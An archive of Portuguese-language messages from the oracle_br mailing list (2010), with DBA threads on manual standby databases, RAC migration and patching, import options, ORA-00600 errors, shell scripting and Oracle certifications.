13:48, Jose - Oracle jap_ora...@yahoo.com.br escreveu: Algum colega poderia me auxiliar com alguma dica de enumerar uma nova coluna ? Exemplo : Tenho uma tabela e gostaria de criar uma coluna sequencial, isso e possivel se sim como ? [] Barba [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Duvida KornShell
(bloco de código) ERR=$? if [ $ERR -eq 0 ] ; then echo Funcionou else echo Erro fi Serve? 2010/7/21 Welvis Douglas wel...@stcruz.com.br Pessoal, tem como eu fazer um tratamento de erro em um código KornShell? Abraço! Att, Welvis Douglas da Silva Moretto Oracle Certified Associate - OCA 10g Oracle Database Sql Expert Fone: (41) 9997-6297 E-mail:welvis_doug...@hotmail.com, wel...@stcruz.com.br Messenger: welvis_doug...@hotmail.com Mestre em Engenharia de Produção e Sistemas - PUC/PR; Especializando em Banco de Dados - UNOPAR; Especialista Engenharia de Software - UNOPAR; Tecnólogo em Processamento de Dados - FACCAR. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Migracao de Dados - Single Instance Cluster (SUGESTÕES)
Dá uma pesquisada sobre Active Database Duplication: http://download.oracle.com/docs/cd/B28359_01/backup.111/b28270/rcmdupdb.htm 2010/7/15 ammorrimm ammorr...@yahoo.com.br Grandes Amigos, Gostaria de sugestões para realizar a migração dos dados de uma single instance para um RAC. Tenho uma migração para ser realizada de cerca de 300 GB para um cluster 11.1.0.6 e estou na dúvida qual seria o melhor procedimento... Pensei em realizar a migração via Rmanfazendo uso de um backup full e restaurando direto no ASM (+DATA). isso é possível ? Obrigado -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] Standby Manual
Braga, concordo com você que nem todos os clientes tem condições de pagar por um Oracle Enterprise, com Dataguard, etc, etc, mas concordo também com o Caio que uma implementação deste tipo deve ser muito bem avaliada e devem-se pesar os prós e contras na hora de avaliar a viabilidade e principalmente a segurança desse negócio. Veja bem, duvido muito que o nosso amigo vai querer implementar esta solução e entregar de graça para o cliente, o cliente vai pagar a solução. Além disso, o cliente vai pagar tambem a licença do standby. Ele não recebeu a solução de graça e vai exigir que funcione quando tudo estiver pegando fogo. Você garantiria a solução? Quem vai pagar o prejuízo do cara se ele descobrir que quando o standby dele precisar ser usado, não estará disponível (uma hipotese)? O cliente não tem condições de pagar por um dataguard? Eu optaria por implementar um standby com simples aplicação de archives, sem querer inventar a roda. Defina um valor para ARCHIVE_LAG_TARGET e avise seu cliente que ele poderá perder até X minutos de dados em caso de falha na produção. Você não engana ninguem e pode dormir tranquilo. 2010/7/15 Marcos Braga braga.mar...@gmail.com: Olá Caio, Concordo contigo quando a redução de custo não compensa a gama de features disponíveis para manter um standby funcionando. Onde trabalho utilizo vários deles, incluindo as facilidades do Broker e as novas facilidades para criar um standby com RMAN. Mas também atendo clientes de pequenas empresas que adquiriram servidores OEM com Oracle Standard Edition One licenciado. Para esses clientes foram sugeridas e discutidas várias soluções de backup utilizando RMAN e Data Pump; mas a maioria prefere Standby; mesmo correndo os riscos informados, ainda assim preferem. Creio que sentem-se mais seguros sabendo que existe um banco ativo (montado) já em funcionamento só aplicando as alterações de tempos em tempos. Mantenho outras soluções agregadas ao Standby, por precaução. Esse é o único motivo de utilizar um Standby Manual. Gosto dos benefícios que foram implementados no decorrer das versões e observo em um ou outro cliente que o Standby deixou de ser apenas um mero banco passivo para tornar-se ativo. Algumas consultas foram direcionadas para o standby, e isso ajudou muito na otimização do ambiente (claro que cada caso é um caso, não recomendo isso para todos). Agradeço sua opinião. []s Braga 2010/7/14 Caio Spadafora caiospadaf...@yahoo.com.br Acho que temos que pensar bastante nos prejuizos de não se utilizar do Dataguard, que são muitos, e o único benefício desse tipo de solução que vejo é a redução de custos de se utilizar uma edição com licenciamento mais baixo e por procesador físico (e não por core - no caso SE e SEO)... Algumas coisas que acredito que NÃO sejam triviais de implementar manualmente em uma replicação: FAL Server Correção de gaps em duas vias Failover automático com os serviços de arquivamento agindo de acordo com o papel desempenhado pelo nó Implementar um modo de máxima disponbilidade (que fique transitando de acordo com thresholds definidos entre os níveis de proteção de máxima segurança e máxima performance) Controlar a remoção indevida de archives que não foram corretamente replicados Active Dataguard Flexibilidades na utilização de SQL Apply Com certeza devem existir outras e talvez nem todas sejam relevantes para determinados ambientes, acho que como aprendizado é muito interessante mas comercialmente falando talvez seja uma sinuca de bico afinal isso pode representar uma redução de custo de repente 200/300k facilmente, mas se alguma empresa grande tem a preocupação de ter essa maior disponibilidade ela tem de entender os custos desse tipo de solução, implementar manualmente por questões de custo não deixa de ser uma alternativa, mas se pensarmos sempre em alternativas em relação a custo acho que 50% dos nossos bancos não seriam Oracle... Apesar disso se esses 200/300k de custo de licenciamento (mais os custos de suporte) viessem para o meu bolso (que fosse 25% do montante) também estaria eu pensando como vocês :) Caio Spadafora, Database Administrator, http://digitalgrimoa.blogspot.com/ http://recoveryarea.blogspot.com/ http://0011brothers.blogspot.com/ De: Marcos Braga braga.mar...@gmail.com braga.marcos%40gmail.com Para: oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br Enviadas: Quarta-feira, 14 de Julho de 2010 18:23:09 Assunto: Re: [oracle_br] Standby Manual Olá Marcos, Pensando dessa maneira, estaremos salvando todos os archives em mais de um local, portanto a resposta é sim. É possível recuperar a instância standby até o último momento. Tempos atrás pensei em fazer o seguinte teste, infelizmente não executei ainda. 1. Compartilhar um diretório do host standby; 2. Mapear esse diretório no host primário; 3. Criar uma entrada em LOG_ARCHIVE_DEST apontando para esse
Re: [oracle_br] Standby Manual
Agora fiquei curioso, como você subirá o standby aplicando os dados de redo online do banco de produção? 2010/7/15 Marcos Fontana fontana.mar...@gmail.com Senhores, Na verdade já implementei o standby manual, no momento faço a validação para saber se estão sincronizados de forma automática e todo o processo de aplicação dos logs e remoção dos logs já aplicados vide script abaixo: for LOG in `grep ORA-00278 $STANDBYDIR/logs/$INSTANCIA.log`; do rm `echo -n $LOG | awk '{print $4}' | sed s/\'//g | perl -0pe 's/[\r\n]/ /g' ` done for LOG in `grep longer $STANDBYDIR/logs/$INSTANCIA.log | grep -v ^no`; do rm `echo -n $LOG | awk '{print $1}' | sed s/\'//g | perl -0pe 's/[\r\n]/ /g' ` done Esse é um pequeno pedaço. O que eu acredito ainda ser possível é não ter perda de dados, onde ja tenhos todos os archives aplicados ao standby e ainda uma replica dos redos online no meu standby. Esta replica é via block device usando ou recursos de replica de storage ou DRBD no Linux. Dada a queda da produção posso aplicar até os redos online trasendo as alterações até o último momento, tendo perda zero de informações. O FAL não é uma preocupação já que da para implementar um daemon que faça o que ele faz, isso é bem tranquilo. Olha que ainda é possível montar um standby com automatic fail over. Se integrar o heartbeat do Linux junto a estes scripts acredito que da pra montar uma solução muito legal e de switch automático. Vocês acham que é fácil vender um produto deste? Um standby com standard e sem perda? Acho que é um produto legal para DR. Lembrando que isso aqui não tem nada há ver com backup, isso é só solução para DR. Acredito que nem todo mundo tem grana para adquirir Enterprise e as vezes precisa dele só por causa do DG. Atenciosamente, Marcos Fontana 2010/7/15 Welvis Douglas wel...@stcruz.com.br Aqui na empresa é utilizado scripts shell para fazer isso. Este script atualiza os bancos 9i e 8 que não são EE em um outro site. Para o 10g EE é utilizado o data guard. Att, Welvis _ De: oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br [mailto: oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br] Em nome de Marcos Braga Enviada em: quinta-feira, 15 de julho de 2010 13:02 Para: oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br Assunto: Re: [oracle_br] Standby Manual Vlw Ivan. Atualmente, para garantir a continuidade do standby e observar se os archives estão sendo aplicados, utilizo scripts em shell, os quais são eficientes nessa função. Claro que existem outras alternativas, como você mencionou. E deixo claro sempre para os clientes sobre os riscos de utilizar um standby sem dataguard. Mas também utilizo outros métodos de backup para minimizar essa perda, caso ocorra. Creio que um standby isolado, como única solução de backup não é uma solução abrangente. Cada caso é um caso e deve ser estudado, discutido e ponderado quanto a solução adotar. Agradeço a opinião. []s Braga 2010/7/15 Ivan Ricardo Schuster ivanr...@gmail.com ivanrs79% 40gmail.com mailto:ivanrs79%40gmail.com ivanrs79%2540gmail.com ivanrs79% 2540gmail.com Braga, concordo com você que nem todos os clientes tem condições de pagar por um Oracle Enterprise, com Dataguard, etc, etc, mas concordo também com o Caio que uma implementação deste tipo deve ser muito bem avaliada e devem-se pesar os prós e contras na hora de avaliar a viabilidade e principalmente a segurança desse negócio. Veja bem, duvido muito que o nosso amigo vai querer implementar esta solução e entregar de graça para o cliente, o cliente vai pagar a solução. Além disso, o cliente vai pagar tambem a licença do standby. Ele não recebeu a solução de graça e vai exigir que funcione quando tudo estiver pegando fogo. Você garantiria a solução? Quem vai pagar o prejuízo do cara se ele descobrir que quando o standby dele precisar ser usado, não estará disponível (uma hipotese)? O cliente não tem condições de pagar por um dataguard? Eu optaria por implementar um standby com simples aplicação de archives, sem querer inventar a roda. Defina um valor para ARCHIVE_LAG_TARGET e avise seu cliente que ele poderá perder até X minutos de dados em caso de falha na produção. Você não engana ninguem e pode dormir tranquilo. 2010/7/15 Marcos Braga braga.mar...@gmail.combraga.marcos% 40gmail.com mailto:braga.marcos%40gmail.com braga.marcos%2540gmail.combraga.marcos% 2540gmail.com braga.marcos%40gmail.com : Olá Caio, Concordo contigo quando a redução de custo não compensa a gama de features disponíveis para manter um standby funcionando. Onde trabalho utilizo vários deles, incluindo as facilidades do Broker e as novas facilidades para criar um standby com RMAN. Mas também atendo clientes de pequenas empresas que
Re: Res: Res: [oracle_br] Certificação
Fabio, este OCA não é de Oracle Certified Associate, mas de Oracle Certified Administrator. Não substitui o primeiro, mas é mais exclusivo que o OCE, na minha opinião. 2010/7/12 Fabio Schmidt fabio.schm...@ymail.com: Legal Mosan, eu inicie os estudos em Solaris, com o material oficial para migrar conhecimento de linux, mas ainda é projeto a medio prazo. Você viu a sugestão que enviaram? Achei a certificação muito interessante, e para quem tem LPI é necessário uma prova e pega o titulo OCA: http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=149 --- Em seg, 12/7/10, Mosan Santos mosansan...@yahoo.com.br escreveu: De: Mosan Santos mosansan...@yahoo.com.br Assunto: Res: Res: [oracle_br] Certificação Para: oracle_br@yahoogrupos.com.br Data: Segunda-feira, 12 de Julho de 2010, 12:13 Oi Fabio Concordo com você. Mas partindo desse princípio então tenta a certificação Solaris, que é muito mais raro ainda.(Só sugetão) Mas pela primeira vez, este ano, eu tive cliente querendo trabalhar com (OEL). Pode ser um aquecimento do produto. Ai a certificação em OEL fica mais interessante. Abraços Mosán Santos Data Warehouse Specialist OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER LPI -I - Novell CLA Novell DataCenter Specialist __ skype: mosansantos De: Ivan Ricardo Schuster ivanr...@gmail.com Para: oracle_br@yahoogrupos.com.br Enviadas: Segunda-feira, 12 de Julho de 2010 8:52:11 Assunto: Re: Res: [oracle_br] Certificação Fabio, você como certificado LPI poderia se beneficiar na busca pelo titulo de Oracle Enterprise Linux Certified Administrator. http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=149 2010/7/12 Fabio Schmidt fabio.schm...@ymail.com: Obrigado pela atenção Mosan, já sou certificado LPI, e como tenho estudado e visto que há um mercado muito grande de Oracle em ambiente Linux achei a certificação interessante. Pois realmente faltam experts em Linux para o ambiente oracle. Valeu mesmo pela dica ! vou baixar o material q vc falou abraços --- Em dom, 11/7/10, Mosan Santos mosansan...@yahoo.com.br escreveu: De: Mosan Santos mosansan...@yahoo.com.br Assunto: Res: [oracle_br] Certificação Para: oracle_br@yahoogrupos.com.br Data: Domingo, 11 de Julho de 2010, 17:48 Oi Fabio; A poucos dias li um comentário num forum muito interessante: Pare que você vai tirar a certificação: para você ou para satisfazer uma necessidade de momento? Quando você tira uma certificação que vai alinhar com interesses de sua carreira, sejam imediatos ou a médio prazo. Será um ótimo investimento de tempo e recursos. Porém quando o objetivos não estão bem claros. A certificação simplesmente parece ser uma boa idéia porque não temos nada muito claro a fazer, pode se tornar uma decepção. O conteúdo desta certificação é muito bom e a leitur desse material aconsenho a todos. Pode ser facilmente encontrado no www.4shared.com. Está certificação tb, já me abriu portas, mas dentro de todo um contxto de outras. Em resumo, leia o material é muito bom. Contudo ser OCA me parece um objetivo mas realístico ou mesmo ser LPI-1. Está certificação é do tempo que a Oracle não tinha um claro objetivo sobre como conduzir sua política Linux. Abraços Mosán Santos Data Warehouse Specialist OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER LPI -I - Novell CLA Novell DataCenter Specialist __ skype: mosansantos De: Fabio Schmidt fabio.schm...@ymail.com Para: oracle_br@yahoogrupos.com.br Enviadas: Sábado, 10 de Julho de 2010 23:33:33 Assunto: Re: [oracle_br] Certificação Olá amigos ! Boa noite ! Tenho interesse em fazer a seguinte prova: 1Z0-046 Oracle Database 10g: Managing Oracle on Linux for Database Administrators Vi que como não possuo OCA necessito fazer o curso: Oracle Database 10g: Managing Oracle on Linux for Database Administrators Acham uma certificação interessante? --- Em qui, 8/7/10, David Ricardo drb.rica...@gmail.com escreveu: De: David Ricardo drb.rica...@gmail.com Assunto: Re: [oracle_br] Certificação Para: oracle_br@yahoogrupos.com.br Data: Quinta-feira, 8 de Julho de 2010, 20:27 Parabéns Vinicius muito bom mesmo. Abraço Em 8 de julho de 2010 13:40, Marcus Vinicius Miguel Pedro mvmpe...@yahoo.com.br escreveu: Trabalho numa empresa que é Oracle Partner, e a Oracle nos procurou perguntando se estaríamos interessados em fazer. Ela é paga sim, mas como foi feito através do OPN, recebemos voucher. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpe
Re: Res: [oracle_br] Certificação
Fabio, você como certificado LPI poderia se beneficiar na busca pelo titulo de Oracle Enterprise Linux Certified Administrator. http://education.oracle.com/pls/web_prod-plq-dad/db_pages.getpage?page_id=149 2010/7/12 Fabio Schmidt fabio.schm...@ymail.com: Obrigado pela atenção Mosan, já sou certificado LPI, e como tenho estudado e visto que há um mercado muito grande de Oracle em ambiente Linux achei a certificação interessante. Pois realmente faltam experts em Linux para o ambiente oracle. Valeu mesmo pela dica ! vou baixar o material q vc falou abraços --- Em dom, 11/7/10, Mosan Santos mosansan...@yahoo.com.br escreveu: De: Mosan Santos mosansan...@yahoo.com.br Assunto: Res: [oracle_br] Certificação Para: oracle_br@yahoogrupos.com.br Data: Domingo, 11 de Julho de 2010, 17:48 Oi Fabio; A poucos dias li um comentário num forum muito interessante: Pare que você vai tirar a certificação: para você ou para satisfazer uma necessidade de momento? Quando você tira uma certificação que vai alinhar com interesses de sua carreira, sejam imediatos ou a médio prazo. Será um ótimo investimento de tempo e recursos. Porém quando o objetivos não estão bem claros. A certificação simplesmente parece ser uma boa idéia porque não temos nada muito claro a fazer, pode se tornar uma decepção. O conteúdo desta certificação é muito bom e a leitur desse material aconsenho a todos. Pode ser facilmente encontrado no www.4shared.com. Está certificação tb, já me abriu portas, mas dentro de todo um contxto de outras. Em resumo, leia o material é muito bom. Contudo ser OCA me parece um objetivo mas realístico ou mesmo ser LPI-1. Está certificação é do tempo que a Oracle não tinha um claro objetivo sobre como conduzir sua política Linux. Abraços Mosán Santos Data Warehouse Specialist OCP DBA 10g - OCE SQL OCE Managing Oracle on Linux OCA DBA 10g - OCA PL/SQL FCP Master - FCP Fundamental CCNA - JNCIA-ER LPI -I - Novell CLA Novell DataCenter Specialist __ skype: mosansantos De: Fabio Schmidt fabio.schm...@ymail.com Para: oracle_br@yahoogrupos.com.br Enviadas: Sábado, 10 de Julho de 2010 23:33:33 Assunto: Re: [oracle_br] Certificação Olá amigos ! Boa noite ! Tenho interesse em fazer a seguinte prova: 1Z0-046 Oracle Database 10g: Managing Oracle on Linux for Database Administrators Vi que como não possuo OCA necessito fazer o curso: Oracle Database 10g: Managing Oracle on Linux for Database Administrators Acham uma certificação interessante? --- Em qui, 8/7/10, David Ricardo drb.rica...@gmail.com escreveu: De: David Ricardo drb.rica...@gmail.com Assunto: Re: [oracle_br] Certificação Para: oracle_br@yahoogrupos.com.br Data: Quinta-feira, 8 de Julho de 2010, 20:27 Parabéns Vinicius muito bom mesmo. Abraço Em 8 de julho de 2010 13:40, Marcus Vinicius Miguel Pedro mvmpe...@yahoo.com.br escreveu: Trabalho numa empresa que é Oracle Partner, e a Oracle nos procurou perguntando se estaríamos interessados em fazer. Ela é paga sim, mas como foi feito através do OPN, recebemos voucher. Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpe...@yahoo.com.br mvmpedro%40yahoo.com.br Blog: http://www.viniciusdba.com.br On 08/07/2010, at 13:31, Raul Francisco Costa F. de Andrade, DBA wrote: Como se cadastrou pra essa prova? Ela é paga? Att. Raul Em 8 de julho de 2010 12:50, Marcus Vinicius Miguel Pedro mvmpe...@yahoo.com.br mvmpedro%40yahoo.com.br escreveu: Olá pessoal, tudo bem? No dia 13 de maio, fiz uma prova beta na Oracle: 1z1-514: Oracle Database 11g Essentials for Implementors. Foi uma prova um pouco difícil, caíram questões do 11gR2, onde ainda não me especializei a fundo. A espera foi angustiante, mas, hoje, vi no site da PearsonVue o resultado da prova: fui aprovado com 83%! Essa prova concede o título: Oracle Database 11g Certified Implementation Specialist. Abraços! Marcus Vinicius Miguel Pedro OCP Database 9i OCP Database 10g OCE RAC 10g OCP Database 11g OCS Implementation 11g mvmpe...@yahoo.com.br mvmpedro%40yahoo.com.br mvmpedro% 40yahoo.com.br Blog: http://www.viniciusdba.com.br [As partes desta mensagem que não continham texto foram removidas] -- -- Raul Francisco da Costa Ferreira de Andrade DBA - OCA - Oracle Certified Associate COBIT Foundation 4.1 Fone: (41)8855-8874 Brt email: raulf...@gmail.com raulfdba%40gmail.com Skype: raul.andrade www.clickdba.com A adversidade leva alguns a serem vencidos e outros a baterem recordes. William Arthur Ward [As partes desta mensagem que não continham texto foram removidas]
Re: [oracle_br] pacth 10.2.0.5 para oracle rac em linux
Duilio, o rolling upgade para a aplicação de patchset só será possivel se você possuir Dataguard com SQL Apply. Se for seu caso e/ou tiveres interesse, de uma lida neste white paper: http://www.oracle.com/technology/deploy/availability/pdf/maa_wp_10gr2_rollingupgradebestpractices.pdf 2010/7/6 Raul Francisco Costa F. de Andrade, DBA raulf...@gmail.com: vc pode aplica de uma mesma máquina, mas dependendo o patch ele mesmo vai baixar a instância ou o banco. Em 6 de julho de 2010 15:42, Duilio Bruniera Junior bruni...@gmail.comescreveu: Alguem ja instalou o patch 10.2.0.5 em oracle rac com linux x86_64 Red Hat 5.2 eu tenho uma duvidas : 1. é preciso baixar todos os nós do cluster , instalar e depois subir ou eu posso baixar maquina por maquina ir baixando e subindo. [As partes desta mensagem que não continham texto foram removidas] -- -- Raul Francisco da Costa Ferreira de Andrade DBA - OCA - Oracle Certified Associate COBIT Foundation 4.1 Fone: (41)8855-8874 Brt email: raulf...@gmail.com Skype: raul.andrade www.clickdba.com A adversidade leva alguns a serem vencidos e outros a baterem recordes. William Arthur Ward [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Ignorar Tabelas numa importaçã o de dados
Thiago, para ignorar a criação de uma tabela, crie ela antes com um unico campo fake. Na hora do import, defina o parametro ignore=y 2010/6/30 vjaquino vjaqu...@yahoo.com.br: Olá Thiago Gomes, Desculpe a mensagem anterior, não havia entendido a sua questão. Não conheço uma forma direta para excluir algumas tabelas de um esquema no import na versão 9i. O que tenho utilizado normalmente nestes casos é a PL abaixo, se a lista ficar muito grande pode-se usar o caracter '%' no nome das tabelas para representar o nome de varias tabelas que começam com o mesmo prefixo. DECLARE exp_string VARCHAR2(1000) := '\('; BEGIN FOR TABLES IN ( SELECT TABLE_NAME FROM DBA_TABLES WHERE OWNER='ADMIN' AND TABLE_NAME NOT IN ('DBR010','DBR020','DBR030') ) LOOP exp_string := exp_string || ',' || TABLES.TABLE_NAME; END LOOP; DBMS_OUTPUT.PUT_LINE(exp_string || '\)'); END; / Abs, Valter Aquino Visite meu blog: http://valteraquino.blogspot.com --- Em oracle_br@yahoogrupos.com.br, Gerson Junior gerson.vasconce...@... escreveu Vjaquino, Desta forma você está dizendo que SÓ SERÃO IMPORTADAS estas tabelas. O que ele quer é ao contrário, que APENAS ESTAS NÃO SEJAM IMPORTADAS, e que todas as outras sejam importadas normalmente, pois o erro ocorre nestas aí. É ao contrário. Atc. Gerson S. de Vasconcelos Júnior OCA DBA - Oracle Certified Associate Fone: (81) 9103-4984 Msn: gerson.vasconce...@... Skype: gersonvjunior http://www.diaadiaoracle.com.br/ Em 29 de junho de 2010 14:26, vjaquino vjaqu...@... escreveu: Olá Thiago Gomes, utilize o comando abaixo: imp admin/ad...@dados01 file=dadosbkpdiario.dmp log=dadosbkpdiario.log tables=(admin.DBR010,admin.DBR020,admin.DBR030) COMMIT=y Buffer=5 [ ]'s Valter Aquino Visite meu blog: http://valteraquino.blogspot.com --- Em oracle_br@yahoogrupos.com.br oracle_br%40yahoogrupos.com.br, Thiago Gomes thiagomespb@ escreveu Pessoal, Estou com um problema de importação de um backup no oracle 9.02, apresenta a mensagem em uma determinada tabela. IMP-00020: long column too large for column buffer size (200) Ja fiz de tudo, resolvi fazer o seguinte.. importar somente as tabelas que não apresenta erro, as tabelas são essas: DBR010 DBR020 DBR030 Como seria o comando IMP para ele não ignorar essas tabelas é possivel ?? = Comando de Backup exp admin/ad...@dados01 file=d:\oracle_bkp\dadosdiario.dmp log=d:\oracle_bkp\dadosdiario.log owner=admin consistent=y direct=y statistics=none = Comando de Restore imp admin/ad...@dados01 file=dadosbkpdiario.dmp log=dadosbkpdiario.log fromuser=admin touser=admin COMMIT=y Buffer=5 Obrigado -- Thiago Gomes [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] ora-00600
Pra mim não ajudou muito. Mande o resultado da query: select banner from v$version; Pelo que vi este erro só aparece em versão 9.2 ou inferior, mas 10g pode ser 10.1.0.x, 10.2.0.x e por aí vai... 2010/6/25 Dênio Flávio Garcia da Silva de...@nbsi.com.br: Oracle10g Windows Server 2008 De: oracle_br@yahoogrupos.com.br [mailto:oracle...@yahoogrupos.com.br] Em nome de Duilio Bruniera Junior Enviada em: sexta-feira, 25 de junho de 2010 13:56 Para: oracle_br@yahoogrupos.com.br Assunto: Re: [oracle_br] ora-00600 Amigão vamos começar pelo começo ! Qual a versão do seu S.O ? e Seu Banco de Dados ? Em 24 de junho de 2010 21:53, Marcos mos...@ig.com.br mailto:mossoc%40ig.com.br escreveu: Tivemos esse erro aqui onde trabalho e o DBA, fez uma customização nas IPTABLES. Em 24 de junho de 2010 10:43, Dênio Flávio Garcia da Silva de...@nbsi.com.br mailto:denio%40nbsi.com.br escreveu: Ao fazer consultas via aplicação recebo o seguinte erro: Record/Key deleted. ORA-00600: Internal error code. arguments: [12700],[31607],[72064586],[1],[79817336],[25],[],[],[],[], Alguem já passou por essa experiência? Obrigado. -- Mensagem verificada pelo sistema de antivírus da Aser Security. [As partes desta mensagem que não continham texto foram removidas] -- Marcos Silva. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ -- Links do Yahoo! Grupos [As partes desta mensagem que não continham texto foram removidas] -- Mensagem verificada pelo sistema de antivírus da Aser Security. -- Mensagem verificada pelo sistema de antivírus da Aser Security. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Certificação
Welvis, Se foi a 1ZO-042 que você fez, não, você não receberá nada em casa, pois ainda precisa fazer uma das seguintes provas para se tornar certificado (OCA) e receber o kit: EXAM 1Z0-001 Introduction to Oracle: SQL and PL/SQL (retired) or 1Z0-007 Introduction to Oracle9i SQL® or 1Z0-047 Oracle Database SQL Expert or 1Z0-051 Oracle Database 11g: SQL Fundamentals I De qualquer forma você deve ter o papel com o resultado do seu exame e ainda pode consultar no site da VUE o resultado da prova. att Ivan 2010/6/24 Welvis Douglas wel...@stcruz.com.br: Olá pessoal, estou com uma duvida, no dia 16/04 eu fiz um exame da Oracle pela VUE. Só que até agora não me mandaram nenhum comprovante. Alguém sabe quanto tempo demora para chegar e se chega? Att, Welvis Douglas da Silva Moretto DBA - Oracle Certified (1ZO-042) Fone: (41) 9997-6297 E-mail: welvis_doug...@hotmail.com, wel...@stcruz.com.br Messenger: welvis_doug...@hotmail.com Mestre em Engenharia de Produção e Sistemas - PUC/PR; Especializando em Banco de Dados - UNOPAR; Especialista Engenharia de Software - UNOPAR; Tecnólogo em Processamento de Dados - FACCAR. [As partes desta mensagem que não continham texto foram removidas] -- Atenção! As mensagens do grupo ORACLE_BR são de acesso público e de inteira responsabilidade de seus remetentes. Acesse: http://www.mail-archive.com/oracle_br@yahoogrupos.com.br/ -- Apostilas » Dicas e Exemplos » Função » Mundo Oracle » Package » Procedure » Scripts » Tutoriais - O GRUPO ORACLE_BR TEM SEU PROPRIO ESPAÇO! VISITE: http://www.oraclebr.com.br/ Links do Yahoo! Grupos
Re: [oracle_br] Re: Dúvidas Oracle X Raw DEvice
Ammorrimm, você pode usar o asmcmd para apagar arquivos do ASM. Funciona praticamente como uma linha de comando normal, você usa cd, ls, rm, etc... 2010/6/16 ammorrimm ammorr...@yahoo.com.br: Bleza...se consigo verificar no nivel da instancia o crescimentos dos meus discos otimo.. Mas supondo que meus diskgroups para os archives encham...como eliminar seu conteúdo ? Vamos supor que durante um certo período a aplicação comece a gerar muitas alterações e meus groups encham rapidamente...como excluir o conteúdo destes disks e evitar assim uma parada do meu banco ? Sei que se estivesse trabalhando com EXT3, bastaria entrar no FS e excluir manualmente via RM...mas com ASM trabalhando com RAW devices ? (lembrando que esta situação teria carater emergencial...) --- Em oracle_br@yahoogrupos.com.br, Anderson Haertel Rodrigues anderson_hr_lis...@... escreveu Noite.. ammorrimm :-), desculpas pela demora... Vamos lá: Mas como verifico a escalabilidade dos mesmos ? Como posso saber via SO (pq sei que da pra verificar via OEM) que estes meus grupos de ASM estão enchendo ou ainda estão com bom espaço em disco ? v$asm_diskgroup, tanto na instância do banco, como na instância do ASM. Mesmo que eu migre para block devices, existe alguma ferramenta de 